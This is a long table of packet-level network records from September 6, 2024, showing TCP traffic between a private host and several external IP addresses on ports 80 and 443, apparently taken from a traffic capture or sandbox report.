Sep 6, 2024 08:17:07.097378969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097383976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097388983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097398043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097399950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097414017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097419977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097419977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097434998 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097481966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097490072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097496986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097501040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097524881 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097524881 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097764015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097769022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097779989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097811937 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097863913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097870111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097881079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097886086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.097901106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097923994 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.097923994 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.098067999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.098356962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.099792957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099797964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099802971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099808931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099833965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099839926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099850893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099858999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.099884987 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.099884987 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.100874901 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102633953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102639914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102646112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102650881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102655888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102662086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102677107 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102701902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102751970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102757931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102771997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102777958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102783918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102788925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102794886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102797031 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102797985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102799892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102828026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102828026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102865934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102871895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102876902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102883101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102893114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102900028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.102920055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.102920055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.103326082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.103399992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103487968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103492975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103504896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103511095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103516102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103527069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103533983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.103549957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.103576899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.103576899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.103857040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103863001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103868008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103893042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103899002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103926897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.103935957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103943110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.103969097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.104541063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.106663942 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.106697083 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.106719017 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.106751919 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.106774092 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.106801987 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.107310057 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.126741886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126749992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126761913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126836061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126841068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126852989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126858950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.126873970 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.127708912 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.154318094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154325962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154336929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154346943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154351950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154357910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154371023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154378891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.154407978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.155318975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.156816959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156821012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156826973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156883001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156888962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156899929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156905890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.156913996 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.156929016 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.157917976 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.157938004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158077955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158118963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158124924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158130884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158150911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158178091 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158200026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158205986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158216953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158231974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158266068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158266068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158289909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158471107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158474922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158485889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158554077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158559084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158576012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158581018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158586979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.158590078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158595085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.158611059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.159220934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.162568092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162688017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162693977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162705898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162712097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162718058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162741899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162748098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162754059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162760019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162765980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162791967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.162791967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.162791967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.162811995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162816048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162827015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162832975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.162849903 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.162849903 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163170099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163207054 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163220882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163227081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163269043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163274050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163285017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163290977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163295984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163304090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163305044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163311005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163316011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163368940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163368940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163373947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163387060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163393021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163398027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163404942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163414955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163449049 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163626909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163633108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163638115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163656950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163664103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163669109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163696051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163702011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163707018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163710117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163727999 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163780928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163786888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163798094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163804054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163846970 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163846970 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163852930 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163858891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163866043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163871050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.163887024 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163952112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.163952112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.164872885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164876938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164887905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164935112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164947987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164954901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.164983988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165158033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165163994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165175915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165189028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165203094 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165234089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165240049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165246010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165251970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165268898 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165304899 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165304899 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165330887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165337086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165353060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165358067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165369987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165383101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165388107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165393114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165404081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165404081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165406942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165412903 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165426016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165452957 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165463924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165468931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165469885 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165469885 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165575027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165584087 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165586948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165590048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165621042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165642977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165653944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165658951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165746927 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165826082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165831089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165849924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165855885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165867090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165888071 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165906906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165906906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.165934086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165940046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165951967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.165956020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166039944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166090965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166150093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166153908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166229010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166239977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166246891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166251898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166259050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166280985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166291952 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166291952 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166460991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166467905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166481972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166520119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166548967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166554928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166565895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166570902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166580915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166587114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166625977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166625977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.166958094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166964054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166975021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.166991949 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.167022943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167028904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167041063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167047024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167079926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.167079926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.167079926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.167351961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167855024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167910099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167913914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167932034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167937994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.167973995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.168021917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.168029070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.168040037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.168055058 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.168096066 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.170280933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.172713995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172718048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172729015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172806978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172811985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172820091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172825098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172830105 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.172832012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.172838926 CEST	80	49734	176.113.115.33	192.168.2.4
